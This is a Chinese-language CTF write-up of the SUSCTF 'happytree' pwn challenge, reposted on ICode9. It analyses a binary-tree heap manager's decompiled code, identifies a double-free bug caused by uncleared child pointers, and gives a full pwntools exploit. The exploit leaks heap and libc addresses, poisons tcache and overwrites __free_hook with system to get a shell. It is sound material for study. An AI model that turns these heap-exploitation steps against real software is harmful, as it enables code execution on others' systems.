ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

susctf pwn happytree复现

2022-03-27 18:00:06  阅读:180  来源: 互联网

标签:__ add free susctf a2 int64 pwn data happytree


1.逆向分析

大概是一个二叉树,通过data递归管理,管理堆没有清空子树指针,所以可以伪造堆块造成double free

 

 创造一个0x20的管理块,分别写入data大小,以及创建的数据堆块的地址

然后通过data为索引进行管理,小size放左子树,大size放在右子树,递归调用

_QWORD *__fastcall sub_116C(__int64 a1, _QWORD *a2, unsigned int a3)
{
  _QWORD *v4; // [rsp+10h] [rbp-20h]
  _DWORD *v5; // [rsp+20h] [rbp-10h]

  v4 = a2;
  if ( !a2 )
    return 0LL;
  if ( (signed int)a3 >= *(_DWORD *)a2 )
  {
    if ( (signed int)a3 <= *(_DWORD *)a2 )
    {
      if ( a2[2] && a2[3] )
      {
        v5 = (_DWORD *)dontknow(a1, a2[3]);
        *(_DWORD *)a2 = *v5;
        a2[3] = dele(a1, a2[3], (unsigned int)*v5);
      }
      else
      {
        if ( a2[2] )
        {
          if ( !a2[3] )
            v4 = (_QWORD *)a2[2];
        }
        else
        {
          v4 = (_QWORD *)a2[3];
        }
        operator delete((void *)a2[1], 1uLL);
        operator delete(a2, 0x20uLL);
      }
    }
    else
    {
      a2[3] = dele(a1, a2[3], a3);
    }
  }
  else
  {
    a2[2] = dele(a1, a2[2], a3);
  }
  return v4;
}

dele的逻辑也差不多,递归调用删除,就是当左右子树同时存在的时候,有个函数,一开始没看清楚就叫dontknow了

__int64 __fastcall sub_F72(__int64 a1, __int64 a2)
{
  __int64 result; // rax
  __int64 v3; // [rsp+18h] [rbp-8h]

  result = a2;
  v3 = a2;
  if ( !a2 )
    return 0LL;
  while ( v3 )
  {
    if ( !*(_QWORD *)(v3 + 16) )
      return v3;
    result = *(_QWORD *)(v3 + 16);
    v3 = result;
  }
  return result;
}

那个dontknow函数,逻辑看的不是很清楚,当左右子树都存在的时候会先看右子树里是否存在左子树,似乎是先做了一个前向的递归?不过动调看来对题目影响不是很大

__int64 __fastcall show(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // [rsp+28h] [rbp-8h]

  result = a2;
  v6 = a2;
  if ( a2 )
  {
    while ( v6 )
    {
      if ( a3 == *(_DWORD *)v6 )
      {
        std::operator<<<std::char_traits<char>>(&std::cout, "content: ");
        v5 = std::operator<<<std::char_traits<char>>(&std::cout, *(_QWORD *)(v6 + 8));
        return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      }
      if ( a3 <= *(_DWORD *)v6 )
        result = *(_QWORD *)(v6 + 16);
      else
        result = *(_QWORD *)(v6 + 24);
      v6 = result;
    }
  }
  else
  {
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Not Find");
    result = std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  }
  return result;

show函数,按照data索引输出,没啥好说的

2.利用

因为以前做的doublefree uaf啥的基本都是给edit挂进去直接改就行,所以这题一开始折腾半天没想明白咋利用,最后就面向wp复现了

大概思路就是

1.发现堆块里面的数据free完以后再拿出来,里面的指针没有被清空,所以可以很轻易的泄露heap_base和libc

2.fake_fd,我们可以申请一个0x20的堆块(管理块同大),在写入fake_fd(指向fake_chunk),然后free掉,这样数据块里的指针就会保留下来并链入tcache,然后连续两次add,第二次add的管理块的左子树就会残留我们布局好的fake_fd

3.构造fake_chunk,上一步我们构造好了指向fake_chunk位置的fake_fd,那么下一步我们只需要在该处构造fake_chunk,将该处伪造成一个的管理块,并且他的数据块的指针指向当前堆内第一个tcache。

然后将我们刚刚伪造的fake_chunk free掉,即可完成doublefree

 

3.exp

from pwn import *
p = process("./happytree")
libc = ELF("libc-2.27.so")
def add(data,content):
    p.recvuntil("cmd> ")
    p.sendline("1")
    p.recvuntil("data: ")
    p.sendline(str(data))
    p.recvuntil("content: ")
    p.send(content)
def free(data):
    p.sendlineafter('cmd>','2')
    p.sendlineafter('data:',str(data))
def show(data):
    p.sendlineafter('cmd>','3')
    p.sendlineafter('data:',str(data))
for i in range(8):
    add(0x80+i,b'A')
for i in range(8):
    free(0x80+7-i)
add(0x70,b'A'*8)
show(0x70)
p.recvuntil(b'A'*8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x80-0x60-0x10-libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
print(hex(libc_base))
free(0x70)
add(0x20,b'\xb0')
show(0x20)
p.recvuntil("content: ")
heap_base = u64(p.recvuntil('\n')[-7:-1].ljust(8,b'\x00'))-0x120b0
print(hex(heap_base))
free(0x20)
payload = p64(0)+p64(0)+p64(heap_base+0x11eb0)*2
add(0x20,payload)
free(0x20)
payload = b'/bin/sh\x00'+p64(0x31)+p64(0x20)+p64(heap_base+0x120b0)
add(0x68,payload)
add(0x40,b'\n')
free(0x20)
add(0x21,p64(free_hook))
add(0x22,p64(sys))
add(0x23,b'/bin/sh\x00')
free(0x23)
#gdb.attach(p)
p.interactive()

 

标签:__,add,free,susctf,a2,int64,pwn,data,happytree
来源: https://www.cnblogs.com/refrain-again/p/16063709.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有